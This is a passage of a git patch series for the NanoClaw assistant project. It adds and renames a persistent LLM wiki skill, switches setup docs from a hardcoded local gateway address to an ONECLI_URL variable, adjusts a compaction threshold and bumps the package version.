-``` - -Create initial `wiki/index.md`: - -```markdown -# Index - -_Last updated: _ - -(Pages will appear here as sources are added.) -``` - -Create initial `wiki/log.md`: - -```markdown -# Log - -## [] setup | Wiki initialized -Wiki created. Topic: . -``` - -### Update group CLAUDE.md - -Add a wiki section to the group's CLAUDE.md. Keep it brief — the container skill has the full workflow: - -```markdown -## Wiki - -You maintain a persistent wiki on . When sources arrive (URLs, files, attachments), ingest them into the wiki — don't just answer and move on. The `/wiki` container skill has the full ingest/query/lint workflow. - -- Wiki pages: `wiki/` (start with `wiki/index.md`) -- Raw sources: `sources/` (immutable — never modify) -``` - -### Optional: Schedule lint - -AskUserQuestion: "Want periodic wiki health checks?" - -1. **Weekly** — every Sunday at 10am -2. **Monthly** — first of each month -3. **Skip** — lint manually when needed - -If yes, use `mcp__nanoclaw__schedule_task`: -- prompt: "Run a wiki lint. Check for contradictions, orphan pages, stale content, missing cross-references, and gaps. Report findings." -- schedule_type: "cron" -- schedule_value: `"0 10 * * 0"` (weekly) or `"0 10 1 * *"` (monthly) - -### Optional: Obsidian - -If the user uses Obsidian, mention they can point a vault at `groups//` for graph view, backlinks, and visual browsing. The wiki is just markdown files on disk. - -## Phase 4: Verify - -Restart the service to pick up the new container skill: - -```bash launchctl kickstart -k gui/$(id -u)/com.nanoclaw # macOS # Linux: systemctl --user restart nanoclaw ``` -Tell the user to test: send a URL to the wiki group. The agent should ingest it, create wiki pages, and update the index. +Tell the user to test by sending a source to the wiki group. diff --git a/.claude/skills/add-wiki/llm-wiki.md b/.claude/skills/add-wiki/llm-wiki.md new file mode 100644 index 0000000..829d21c --- /dev/null +++ b/.claude/skills/add-wiki/llm-wiki.md @@ -0,0 +1,75 @@ +# LLM Wiki + +> Source: [karpathy/llm-wiki.md](https://gist.github.com/karpathy/442a6bf555914893e9891c11519de94f) + +A pattern for building personal knowledge bases using LLMs. + +This is an idea file, designed to be copied to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, etc.). Its goal is to communicate the high-level idea, with your agent building out specifics through collaboration with you. + +## The Core Idea + +Most interactions with LLMs and documents follow RAG patterns: upload files, retrieve relevant chunks at query time, generate answers. The knowledge is re-derived on each question with no accumulation. + +The concept here differs fundamentally. Rather than just retrieving from raw documents, the LLM incrementally builds and maintains a persistent wiki — a structured, interlinked markdown collection sitting between you and raw sources. When adding new material, the LLM reads it, extracts key information, and integrates it into existing wiki pages—updating entities, revising summaries, flagging contradictions, strengthening synthesis. Knowledge compiles once and stays current rather than re-deriving on every query. + +The wiki becomes a persistent, compounding artifact. Cross-references already exist. Contradictions are flagged. Synthesis reflects everything read. The wiki enriches with every source added and question asked. + +You source material and ask questions; the LLM maintains everything—summarizing, cross-referencing, filing, and organizing. The LLM acts as programmer; Obsidian serves as IDE; the wiki functions as codebase. + +**Applications include:** +- Personal: tracking goals, health, self-improvement +- Research: deep dives over weeks/months +- Reading: building companion wikis while progressing through books +- Business/teams: internal wikis fed by Slack, transcripts, documents +- Analysis: competitive research, due diligence, trip planning, hobby deep-dives + +## Architecture + +Three layers comprise the system: + +**Raw sources** — immutable curated documents (articles, papers, images, data). The LLM reads but never modifies these. + +**The wiki** — LLM-generated markdown directories containing summaries, entity pages, concept pages, comparisons, syntheses. The LLM owns this entirely, creating and updating pages while maintaining cross-references and consistency. + +**The schema** — configuration document (e.g., CLAUDE.md) explaining wiki structure, conventions, and workflows for ingestion, querying, and maintenance. This key file transforms the LLM into disciplined wiki maintainer rather than generic chatbot. + +## Operations + +**Ingest:** Drop new sources into the raw collection; the LLM processes them. The agent reads sources, discusses takeaways, writes summaries, updates indexes, refreshes entity and concept pages, logs entries. Single sources might touch 10-15 wiki pages. Prefer ingesting individually while staying involved, though batch ingestion with less oversight is possible. + +**Query:** Ask questions against the wiki. The LLM searches relevant pages, synthesizes answers with citations. Answers take various forms—markdown pages, comparison tables, slide decks, charts, canvas. Good answers can be filed back into the wiki as new pages—explorations compound in the knowledge base rather than disappearing into chat history. + +**Lint:** Periodically health-check the wiki. Look for contradictions, stale claims superseded by newer sources, orphan pages lacking inbound links, important concepts lacking dedicated pages, missing cross-references, data gaps. The LLM suggests investigations and sources to pursue, keeping the wiki healthy as it grows. + +## Indexing and Logging + +Two special files help navigate the growing wiki: + +**index.md** — content-oriented catalog of everything (each page with link, one-line summary, optional metadata like dates or source counts), organized by category. The LLM updates it on every ingest. When answering queries, read the index first to locate relevant pages before drilling deeper. This approach works surprisingly well at moderate scale (~100 sources, ~hundreds of pages) while avoiding embedding-based RAG infrastructure needs. + +**log.md** — append-only chronological record of what happened and when (ingests, queries, lint passes). Each entry beginning with consistent prefix (e.g., `## [2026-04-02] ingest | Article Title`) becomes parseable with simple tools—`grep "^## \[" log.md | tail -5` yields last 5 entries. The log shows wiki evolution timeline and helps the LLM understand recent activity. + +## Optional: CLI Tools + +At scale, small tools help the LLM operate more efficiently. Search engine over wiki pages is most obvious—at small scale the index suffices, but as the wiki grows, proper search becomes necessary. qmd (https://github.com/tobi/qmd) offers local search with hybrid BM25/vector search and LLM re-ranking, entirely on-device. It includes both CLI (so LLMs can shell out) and MCP server (native tool integration). Build simpler custom search scripts as needs arise. + +## Tips and Tricks + +- **Obsidian Web Clipper** converts web articles to markdown for quick source collection +- **Download images locally:** Set attachment folder in Obsidian Settings, bind download hotkey. All images store locally; LLM views and references directly instead of relying on potentially broken URLs +- **Obsidian's graph view** visualizes wiki connectivity—what connects to what, hub pages, orphans +- **Marp** provides markdown-based slide deck format with Obsidian plugin integration +- **Dataview** plugin queries page frontmatter, generating dynamic tables/lists when LLM adds YAML frontmatter +- The wiki is simply a git-backed markdown directory—version history, branching, collaboration included + +## Why This Works + +Knowledge base maintenance's tedious part is bookkeeping, not reading/thinking: updating cross-references, keeping summaries current, noting data contradictions, maintaining consistency across pages. Humans abandon wikis as maintenance burden outpaces value. LLMs don't bore, don't forget updates, can touch 15 files in one pass. Wiki maintenance becomes nearly free. + +Humans curate sources, direct analysis, ask good questions, think about meaning. LLMs handle everything else. + +This relates in spirit to Vannevar Bush's 1945 Memex—personal curated knowledge stores with associative document trails. Bush's vision resembled this more than what the web became: private, actively curated, with connections between documents as valuable as documents themselves. Bush couldn't solve maintenance; LLMs handle that. + +## Note + +This document intentionally remains abstract, describing the idea rather than specific implementation. Directory structure, schema conventions, page formats, tooling—all depend on domain, preferences, and LLM choice. Everything is optional and modular. Pick what's useful; ignore what isn't. Your sources might be text-only (no image handling needed). Your wiki might stay small enough that index files suffice (no search engine required). You might want different output formats entirely. Share this with your LLM agent and work collaboratively to instantiate a version fitting your needs. This document's sole purpose is communicating the pattern; your LLM figures out the rest. diff --git a/container/skills/wiki/SKILL.md b/container/skills/wiki/SKILL.md deleted file mode 100644 index a390a51..0000000 --- a/container/skills/wiki/SKILL.md +++ /dev/null @@ -1,67 +0,0 @@ ---- -name: wiki -description: Maintain a persistent wiki knowledge base. Ingest sources (URLs, files, attachments), build and update interlinked wiki pages, answer questions from the wiki, and run periodic health checks. Use when the user sends sources to add, asks questions the wiki can answer, or requests wiki maintenance. ---- - -# Wiki Knowledge Base - -You maintain a persistent wiki in your workspace. The wiki sits between you and raw sources — when new material arrives, you read it and integrate it into structured, interlinked pages. Knowledge compounds over time rather than being re-derived on every question. - -## Directory Structure - -``` -wiki/ # LLM-generated pages (you own this entirely) - index.md # Content catalog — updated on every ingest - log.md # Append-only activity log - ... # Entity pages, concept pages, comparisons, syntheses -sources/ # Raw immutable material (never modify these) - ... # Fetched articles, clipped pages, uploaded files -``` - -## Operations - -### Ingest - -When the user sends a URL, file, or says to add something: - -1. Fetch or read the source material -2. Save a copy to `sources/` (URLs: fetch and save as markdown; files: copy as-is) -3. Discuss key takeaways with the user -4. Create or update wiki pages — summaries, entity pages, concept pages, cross-references -5. Flag contradictions with existing wiki content -6. Update `index.md` with new and changed pages -7. Append to `log.md` - -A single source often touches many wiki pages. Prefer ingesting one source at a time with user involvement, though batch ingestion works for bulk imports. - -### Query - -When the user asks a question: - -1. Read `index.md` to locate relevant pages -2. Read those pages and synthesize an answer -3. Cite which wiki pages informed the answer -4. If the answer is substantial, offer to file it back as a new wiki page — explorations should compound in the wiki, not disappear into chat history - -### Lint - -When asked to health-check the wiki (or triggered by a scheduled task): - -- Contradictions between pages -- Stale claims superseded by newer sources -- Orphan pages with no inbound links -- Important concepts that lack dedicated pages -- Missing cross-references -- Data gaps — suggest sources to pursue - -Report findings and offer to fix issues. - -## Conventions - -- Markdown with YAML frontmatter (`date_created`, `last_updated`, `sources`, `tags`) -- Link between pages with relative markdown links: `[Page Title](page-title.md)` -- One entity or concept per page — split pages over ~500 lines -- `index.md`: organized by category, each entry is `- [Page Title](path.md) — one-line summary` -- `log.md`: append-only, each entry starts with `## [YYYY-MM-DD] | ` - -These are defaults. Adapt the structure to the domain — the user's wiki, their conventions. From f69979fb9eea28ff3eb1ee0e282c199edcb0dd8a Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 11:24:51 +0300 Subject: [PATCH 042/485] fix: simplify source handling step and fix typo in wiki skill Remove hardcoded file path checks. Step 4 now discusses source types with the user and helps install needed skills dynamically. Fix "use use" typo and change curl example to file download. Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-wiki/SKILL.md | 23 ++++++----------------- 1 file changed, 6 insertions(+), 17 deletions(-) diff --git a/.claude/skills/add-wiki/SKILL.md b/.claude/skills/add-wiki/SKILL.md index afaa678..bd421af 100644 --- a/.claude/skills/add-wiki/SKILL.md +++ b/.claude/skills/add-wiki/SKILL.md @@ -41,33 +41,22 @@ Create a `container/skills/wiki/SKILL.md` tailored to this user's wiki. This is ### 3c. Group CLAUDE.md -Add a wiki section to the group's CLAUDE.md that activates the wiki behavior and points to the container skill. +Add a wiki section to the group's CLAUDE.md that activates the wiki behavior and points to the container skill. It should concisely explain the system and have an index of the key files and folders. -## Step 4: Source handling skills +## Step 4: Source handling capabilities -Check which source-handling capabilities are installed and offer to add missing ones based on what the user plans to ingest: - -| Source type | Skill needed | Check | -|---|---|---| -| Images | `/add-image-vision` | `src/channels/image-vision.ts` or similar exists | -| PDFs | `/add-pdf-reader` | `container/skills/pdf-reader/` exists | -| Voice notes | `/add-voice-transcription` | `container/skills/voice-transcription/` exists | - -For each missing skill the user needs, invoke it. +Based on the source types the user plans to ingest (discussed in Step 3), check whether the agent can already handle those formats — some are supported natively, others need a skill (e.g. `/add-image-vision`, `/add-pdf-reader`, `/add-voice-transcription`). If a needed capability isn't installed, check if there's an available skill for it and help the user get it set up. ### URL handling note -The agent has built-in `WebFetch`, but it returns a summary, not the full document. For wiki ingestion where the full text matters, the container skill should instruct the agent to use `curl` piped through an HTML-to-text conversion instead: +claude has built-in `WebFetch`, but it returns a summary, not the full document. For wiki ingestion of a URL where the full text matters, the container skill and CLAUDE.md should instruct claude to use bash commands to download full files instead. For example: ```bash -curl -sL "" | sed 's/<[^>]*>//g' +curl -sLo sources/filename.pdf "" ``` -Or better, use `agent-browser` to open the page and extract full text if available. The container skill should note this so the agent gets full content for sources rather than summaries. +If the document is a webpage, then claude can use fetch or `agent-browser` to open the page and extract full text if available. The container skill and CLAUDE.md should note this so claude gets full content for sources rather than summaries. -### File attachments - -If the user's channel supports file attachments (WhatsApp documents, Telegram files, Slack uploads), these arrive in the container's workspace. The container skill should note that attached files can be read directly and saved to `sources/`. ## Step 5: Optional lint schedule From 33b5627f4205f417cb139f8a7f7d9ee620438aa4 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 11:25:57 +0300 Subject: [PATCH 043/485] chore: rename skill to add-karpathy-llm-wiki Co-Authored-By: Claude Opus 4.6 (1M context) --- .../skills/{add-wiki => add-karpathy-llm-wiki}/SKILL.md | 6 +++--- .../{add-wiki => add-karpathy-llm-wiki}/llm-wiki.md | 0 src/db.ts | 8 ++------ 3 files changed, 5 insertions(+), 9 deletions(-) rename .claude/skills/{add-wiki => add-karpathy-llm-wiki}/SKILL.md (96%) rename .claude/skills/{add-wiki => add-karpathy-llm-wiki}/llm-wiki.md (100%) diff --git a/.claude/skills/add-wiki/SKILL.md b/.claude/skills/add-karpathy-llm-wiki/SKILL.md similarity index 96% rename from .claude/skills/add-wiki/SKILL.md rename to .claude/skills/add-karpathy-llm-wiki/SKILL.md index bd421af..e04f266 100644 --- a/.claude/skills/add-wiki/SKILL.md +++ b/.claude/skills/add-karpathy-llm-wiki/SKILL.md @@ -1,9 +1,9 @@ --- -name: add-wiki -description: Add a persistent wiki knowledge base to a NanoClaw group. Based on Karpathy's LLM Wiki pattern. Triggers on "add wiki", "wiki", "knowledge base", "llm wiki". +name: add-karpathy-llm-wiki +description: Add a persistent wiki knowledge base to a NanoClaw group. Based on Karpathy's LLM Wiki pattern. Triggers on "add wiki", "wiki", "knowledge base", "llm wiki", "karpathy wiki". --- -# Add Wiki +# Add Karpathy LLM Wiki Set up a persistent wiki knowledge base on NanoClaw, based on Karpathy's LLM Wiki pattern. diff --git a/.claude/skills/add-wiki/llm-wiki.md b/.claude/skills/add-karpathy-llm-wiki/llm-wiki.md similarity index 100% rename from .claude/skills/add-wiki/llm-wiki.md rename to .claude/skills/add-karpathy-llm-wiki/llm-wiki.md diff --git a/src/db.ts b/src/db.ts index f12e5b6..591f2a8 100644 --- a/src/db.ts +++ b/src/db.ts @@ -149,15 +149,11 @@ function createSchema(database: Database.Database): void { // Add reply context columns if they don't exist (migration for existing DBs) try { - database.exec( - `ALTER TABLE messages ADD COLUMN reply_to_message_id TEXT`, - ); + database.exec(`ALTER TABLE messages ADD COLUMN reply_to_message_id TEXT`); database.exec( `ALTER TABLE messages ADD COLUMN reply_to_message_content TEXT`, ); - database.exec( - `ALTER TABLE messages ADD COLUMN reply_to_sender_name TEXT`, - ); + database.exec(`ALTER TABLE messages ADD COLUMN reply_to_sender_name TEXT`); } catch { /* columns already exist */ } From 15e356a57244e06c3bc36d5a942cab6a765c95f5 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 11:27:01 +0300 Subject: [PATCH 044/485] chore: revert unrelated db.ts formatting change Co-Authored-By: Claude Opus 4.6 (1M context) --- src/db.ts | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/src/db.ts b/src/db.ts index 591f2a8..f12e5b6 100644 --- a/src/db.ts +++ b/src/db.ts @@ -149,11 +149,15 @@ function createSchema(database: Database.Database): void { // Add reply context columns if they don't exist (migration for existing DBs) try { - database.exec(`ALTER TABLE messages ADD COLUMN reply_to_message_id TEXT`); + database.exec( + `ALTER TABLE messages ADD COLUMN reply_to_message_id TEXT`, + ); database.exec( `ALTER TABLE messages ADD COLUMN reply_to_message_content TEXT`, ); - database.exec(`ALTER TABLE messages ADD COLUMN reply_to_sender_name TEXT`); + database.exec( + `ALTER TABLE messages ADD COLUMN reply_to_sender_name TEXT`, + ); } catch { /* columns already exist */ } From f77f9ce2c47586957bd6e4750da673778ce24553 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 16:15:56 +0300 Subject: [PATCH 045/485] feat: set auto-compact threshold to 165k tokens Compact earlier to preserve more context fidelity before the window fills. Co-Authored-By: Claude Opus 4.6 (1M context) --- container/agent-runner/src/index.ts | 3 +-- src/db.ts | 8 ++------ 2 files changed, 3 insertions(+), 8 deletions(-) diff --git a/container/agent-runner/src/index.ts b/container/agent-runner/src/index.ts index 7f32f9a..7e739c7 100644 --- a/container/agent-runner/src/index.ts +++ b/container/agent-runner/src/index.ts @@ -449,7 +449,6 @@ async function runQuery( append: globalClaudeMd, } : undefined, - model: 'sonnet[1m]', allowedTools: [ 'Bash', 'Read', @@ -626,7 +625,7 @@ async function main(): Promise { // No real secrets exist in the container environment. const sdkEnv: Record = { ...process.env, - CLAUDE_CODE_AUTO_COMPACT_WINDOW: '200000', + CLAUDE_CODE_AUTO_COMPACT_WINDOW: '165000', }; const __dirname = path.dirname(fileURLToPath(import.meta.url)); diff --git a/src/db.ts b/src/db.ts index f12e5b6..591f2a8 100644 --- a/src/db.ts +++ b/src/db.ts @@ -149,15 +149,11 @@ function createSchema(database: Database.Database): void { // Add reply context columns if they don't exist (migration for existing DBs) try { - database.exec( - `ALTER TABLE messages ADD COLUMN reply_to_message_id TEXT`, - ); + database.exec(`ALTER TABLE messages ADD COLUMN reply_to_message_id TEXT`); database.exec( `ALTER TABLE messages ADD COLUMN reply_to_message_content TEXT`, ); - database.exec( - `ALTER TABLE messages ADD COLUMN reply_to_sender_name TEXT`, - ); + database.exec(`ALTER TABLE messages ADD COLUMN reply_to_sender_name TEXT`); } catch { /* columns already exist */ } From 75c2e1868f1f60899c548b41015a51dff88ae4f5 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 5 Apr 2026 13:16:10 +0000 Subject: [PATCH 046/485] chore: bump version to 1.2.50 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index a442f15..c7fbf45 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.49", + "version": "1.2.50", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.49", + "version": "1.2.50", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git a/package.json b/package.json index 7b322b5..2ac1200 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "nanoclaw", - "version": "1.2.49", + "version": "1.2.50", "description": "Personal Claude assistant. Lightweight, secure, customizable.", "type": "module", "main": "dist/index.js", From 1d5c38d15a78484ab388f391b98eb34386cb2966 Mon Sep 17 00:00:00 2001 From: gavrielc Date: Sun, 5 Apr 2026 16:35:40 +0300 Subject: [PATCH 047/485] fix: three issues in karpathy wiki skill MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1. Lint schedule now uses NanoClaw scheduled_tasks table instead of Claude Code cron — runs in the group's agent container 2. CLAUDE.md must enforce one-at-a-time file ingestion — never batch 3. Expanded CLAUDE.md guidance: explain system, index files, point to container skill, enforce ingest discipline Co-Authored-By: Claude Opus 4.6 (1M context) --- .claude/skills/add-karpathy-llm-wiki/SKILL.md | 34 +++++++++++++++++-- 1 file changed, 32 insertions(+), 2 deletions(-) diff --git a/.claude/skills/add-karpathy-llm-wiki/SKILL.md b/.claude/skills/add-karpathy-llm-wiki/SKILL.md index e04f266..9c728a8 100644 --- a/.claude/skills/add-karpathy-llm-wiki/SKILL.md +++ b/.claude/skills/add-karpathy-llm-wiki/SKILL.md @@ -41,7 +41,12 @@ Create a `container/skills/wiki/SKILL.md` tailored to this user's wiki. This is ### 3c. Group CLAUDE.md -Add a wiki section to the group's CLAUDE.md that activates the wiki behavior and points to the container skill. It should concisely explain the system and have an index of the key files and folders. +Edit the group's CLAUDE.md to add a wiki section. This is critical — it's what turns the agent into a wiki maintainer. It should: + +- Explain the wiki system concisely: what it is, the three layers (sources, wiki, schema), the three operations (ingest, query, lint) +- Index the key files and folders (`wiki/`, `sources/`, `wiki/index.md`, `wiki/log.md`) +- Point to the container skill for detailed workflow +- **Ingest discipline:** Be very explicit that when the user provides multiple files or points at a folder with many files, the agent MUST process them one at a time. For each file: read it, discuss takeaways, create/update all wiki pages (summary, entities, concepts, cross-references, index, log), and completely finish with that file before moving to the next. Never batch-read all files and then process them together — this produces shallow, generic pages instead of the deep integration the pattern requires. ## Step 4: Source handling capabilities @@ -66,7 +71,32 @@ AskUserQuestion: "Want periodic wiki health checks?" 2. **Monthly** 3. **Skip** — lint manually -If yes, schedule via `mcp__nanoclaw__schedule_task` with a prompt based on the pattern's Lint operation. +If yes, create a NanoClaw scheduled task that runs in the wiki group. This is NOT a Claude Code cron job — it's a NanoClaw group task that runs in the agent container. Insert it into the SQLite database: + +```bash +npx tsx -e " +const Database = require('better-sqlite3'); +const { CronExpressionParser } = require('cron-parser'); +const db = new Database('store/messages.db'); +const interval = CronExpressionParser.parse('', { tz: process.env.TZ || 'UTC' }); +const nextRun = interval.next().toISOString(); +db.prepare('INSERT INTO scheduled_tasks (id, group_folder, chat_jid, prompt, schedule_type, schedule_value, context_mode, next_run, status, created_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)').run( + 'wiki-lint', + '', + '', + 'Run a wiki lint pass per the wiki container skill. Check for contradictions, orphan pages, stale content, missing cross-references, and gaps. Report findings and offer to fix issues.', + 'cron', + '', + 'group', + nextRun, + 'active', + new Date().toISOString() +); +db.close(); +" +``` + +Use the group's `folder` and `chat_jid` from the registered groups table. Cron expressions: `0 10 * * 0` (weekly Sunday 10am) or `0 10 1 * *` (monthly 1st at 10am). ## Step 6: Build and restart From 5adc9497b33823943c1a3a16fc83de41ee78e435 Mon Sep 17 00:00:00 2001 From: Guy Ben-Aharon Date: Sun, 5 Apr 2026 19:40:52 +0300 Subject: [PATCH 048/485] Update SKILL.md to use ONECLI_URL variable --- .claude/skills/setup/SKILL.md | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/.claude/skills/setup/SKILL.md b/.claude/skills/setup/SKILL.md index 7b99074..200938d 100644 --- a/.claude/skills/setup/SKILL.md +++ b/.claude/skills/setup/SKILL.md @@ -162,14 +162,14 @@ grep -q '.local/bin' ~/.zshrc 2>/dev/null || echo 'export PATH="$HOME/.local/bin Then re-verify with `onecli version`. -Point the CLI at the local OneCLI instance (it defaults to the cloud service otherwise): +Point the CLI at the local OneCLI instance, the ONECLI_URL was output from the install script above: ```bash -onecli config set api-host http://127.0.0.1:10254 +onecli config set api-host ${ONECLI_URL} ``` Ensure `.env` has the OneCLI URL (create the file if it doesn't exist): ```bash -grep -q 'ONECLI_URL' .env 2>/dev/null || echo 'ONECLI_URL=http://127.0.0.1:10254' >> .env +grep -q 'ONECLI_URL' .env 2>/dev/null || echo 'ONECLI_URL=${ONECLI_URL}' >> .env ``` Check if a secret already exists: @@ -194,7 +194,7 @@ Then stop and wait for the user to confirm they have the token. Do NOT proceed u Once they confirm, they register it with OneCLI. AskUserQuestion with two options: -1. **Dashboard** — description: "Best if you have a browser on this machine. Open http://127.0.0.1:10254 and add the secret in the UI. Use type 'anthropic' and paste your token as the value." +1. **Dashboard** — description: "Best if you have a browser on this machine. Open ${ONECLI_URL} and add the secret in the UI. Use type 'anthropic' and paste your token as the value." 2. **CLI** — description: "Best for remote/headless servers. Run: `onecli secrets create --name Anthropic --type anthropic --value YOUR_TOKEN --host-pattern api.anthropic.com`" #### API key path @@ -203,7 +203,7 @@ Tell the user to get an API key from https://console.anthropic.com/settings/keys Then AskUserQuestion with two options: -1. **Dashboard** — description: "Best if you have a browser on this machine. Open http://127.0.0.1:10254 and add the secret in the UI." +1. **Dashboard** — description: "Best if you have a browser on this machine. Open ${ONECLI_URL} and add the secret in the UI." 2. **CLI** — description: "Best for remote/headless servers. Run: `onecli secrets create --name Anthropic --type anthropic --value YOUR_KEY --host-pattern api.anthropic.com`" #### After either path @@ -324,7 +324,7 @@ Tell user to test: send a message in their registered chat. Show: `tail -f logs/ ## Troubleshooting -**Service not starting:** Check `logs/nanoclaw.error.log`. Common: wrong Node path (re-run step 7), credential system not running (Docker: check `curl http://127.0.0.1:10254/api/health`; Apple Container: check `.env` credentials), missing channel credentials (re-invoke channel skill). +**Service not starting:** Check `logs/nanoclaw.error.log`. Common: wrong Node path (re-run step 7), credential system not running (Docker: check `curl ${ONECLI_URL}/api/health`; Apple Container: check `.env` credentials), missing channel credentials (re-invoke channel skill). **Container agent fails ("Claude Code process exited with code 1"):** Ensure the container runtime is running — `open -a Docker` (macOS Docker), `container system start` (Apple Container), or `sudo systemctl start docker` (Linux). Check container logs in `groups/main/logs/container-*.log`. From 4fd75860cda4c991a24f302e4579e33042b652f6 Mon Sep 17 00:00:00 2001 From: Guy Ben-Aharon Date: Sun, 5 Apr 2026 19:46:29 +0300 Subject: [PATCH 049/485] update init-onecli --- .claude/skills/init-onecli/SKILL.md | 24 +++++++++--------------- 1 file changed, 9 insertions(+), 15 deletions(-) diff --git a/.claude/skills/init-onecli/SKILL.md b/.claude/skills/init-onecli/SKILL.md index d7727dd..bd37b96 100644 --- a/.claude/skills/init-onecli/SKILL.md +++ b/.claude/skills/init-onecli/SKILL.md @@ -17,13 +17,7 @@ This skill installs OneCLI, configures the Agent Vault gateway, and migrates any onecli version 2>/dev/null ``` -If the command succeeds, OneCLI is installed. Check if the gateway is reachable: - -```bash -curl -sf http://127.0.0.1:10254/health -``` - -If both succeed, check for an Anthropic secret: +If the command succeeds, OneCLI is installed, check for an Anthropic secret: ```bash onecli secrets list @@ -81,16 +75,16 @@ Re-verify with `onecli version`. ### Configure the CLI -Point the CLI at the local OneCLI instance: +Point the CLI at the local OneCLI instance, the ONECLI_URL was output from the install script above: ```bash -onecli config set api-host http://127.0.0.1:10254 +onecli config set api-host ${ONECLI_URL} ``` ### Set ONECLI_URL in .env ```bash -grep -q 'ONECLI_URL' .env 2>/dev/null || echo 'ONECLI_URL=http://127.0.0.1:10254' >> .env +grep -q 'ONECLI_URL' .env 2>/dev/null || echo 'ONECLI_URL=${ONECLI_URL}' >> .env ``` ### Wait for gateway readiness @@ -99,7 +93,7 @@ The gateway may take a moment to start after installation. Poll for up to 15 sec ```bash for i in $(seq 1 15); do - curl -sf http://127.0.0.1:10254/health && break + curl -sf ${ONECLI_URL}/health && break sleep 1 done ``` @@ -214,7 +208,7 @@ Tell the user to run `claude setup-token` in another terminal and copy the token Once they have the token, AskUserQuestion with two options: -1. **Dashboard** — description: "Best if you have a browser on this machine. Open http://127.0.0.1:10254 and add the secret in the UI. Use type 'anthropic' and paste your token as the value." +1. **Dashboard** — description: "Best if you have a browser on this machine. Open ${ONECLI_URL} and add the secret in the UI. Use type 'anthropic' and paste your token as the value." 2. **CLI** — description: "Best for remote/headless servers. Run: `onecli secrets create --name Anthropic --type anthropic --value YOUR_TOKEN --host-pattern api.anthropic.com`" #### API key path @@ -223,7 +217,7 @@ Tell the user to get an API key from https://console.anthropic.com/settings/keys AskUserQuestion with two options: -1. **Dashboard** — description: "Best if you have a browser on this machine. Open http://127.0.0.1:10254 and add the secret in the UI." +1. **Dashboard** — description: "Best if you have a browser on this machine. Open ${ONECLI_URL} and add the secret in the UI." 2. **CLI** — description: "Best for remote/headless servers. Run: `onecli secrets create --name Anthropic --type anthropic --value YOUR_KEY --host-pattern api.anthropic.com`" #### After either path @@ -262,12 +256,12 @@ If the service is running and a channel is configured, tell the user to send a t Tell the user: - OneCLI Agent Vault is now managing credentials - Agents never see raw API keys — credentials are injected at the gateway level -- To manage secrets: `onecli secrets list`, or open http://127.0.0.1:10254 +- To manage secrets: `onecli secrets list`, or open ${ONECLI_URL} - To add rate limits or policies: `onecli rules create --help` ## Troubleshooting -**"OneCLI gateway not reachable" in logs:** The gateway isn't running. Check with `curl -sf http://127.0.0.1:10254/health`. Start it with `onecli start` if needed. +**"OneCLI gateway not reachable" in logs:** The gateway isn't running. Check with `curl -sf ${ONECLI_URL}/health`. Start it with `onecli start` if needed. **Container gets no credentials:** Verify `ONECLI_URL` is set in `.env` and the gateway has an Anthropic secret (`onecli secrets list`). From 0918f78a0c03cf9dee4f6099d4595af58646acc8 Mon Sep 17 00:00:00 2001 From: Guy Ben-Aharon Date: Sun, 5 Apr 2026 20:01:46 +0300 Subject: [PATCH 050/485] fix --- src/config.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/config.ts b/src/config.ts index 12f04d9..ad06724 100644 --- a/src/config.ts +++ b/src/config.ts @@ -52,7 +52,7 @@ export const CONTAINER_MAX_OUTPUT_SIZE = parseInt( 10, ); // 10MB default export const ONECLI_URL = - process.env.ONECLI_URL || envConfig.ONECLI_URL || 'http://localhost:10254'; + process.env.ONECLI_URL || envConfig.ONECLI_URL; export const MAX_MESSAGES_PER_PROMPT = Math.max( 1, parseInt(process.env.MAX_MESSAGES_PER_PROMPT || '10', 10) || 10, From 19ce90c6635ff424d935a638e82b34239da1b2dd Mon Sep 17 00:00:00 2001 From: Guy Ben Aharon Date: Sun, 5 Apr 2026 21:36:42 +0300 Subject: [PATCH 051/485] fix --- src/config.ts | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/src/config.ts b/src/config.ts index ad06724..1d15b8d 100644 --- a/src/config.ts +++ b/src/config.ts @@ -51,8 +51,7 @@ export const CONTAINER_MAX_OUTPUT_SIZE = parseInt( process.env.CONTAINER_MAX_OUTPUT_SIZE || '10485760', 10, ); // 10MB default -export const ONECLI_URL = - process.env.ONECLI_URL || envConfig.ONECLI_URL; +export const ONECLI_URL = process.env.ONECLI_URL || envConfig.ONECLI_URL; export const MAX_MESSAGES_PER_PROMPT = Math.max( 1, parseInt(process.env.MAX_MESSAGES_PER_PROMPT || '10', 10) || 10, From 653390d9aa86e30d56a6bc2810d5778ad09cecf6 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 5 Apr 2026 19:29:01 +0000 Subject: [PATCH 052/485] chore: bump version to 1.2.51 --- package-lock.json | 4 ++-- package.json | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/package-lock.json b/package-lock.json index c7fbf45..4c697fe 100644 --- a/package-lock.json +++ b/package-lock.json @@ -1,12 +1,12 @@ { "name": "nanoclaw", - "version": "1.2.50", + "version": "1.2.51", "lockfileVersion": 3, "requires": true, "packages": { "": { "name": "nanoclaw", - "version": "1.2.50", + "version": "1.2.51", "dependencies": { "@onecli-sh/sdk": "^0.2.0", "better-sqlite3": "11.10.0", diff --git 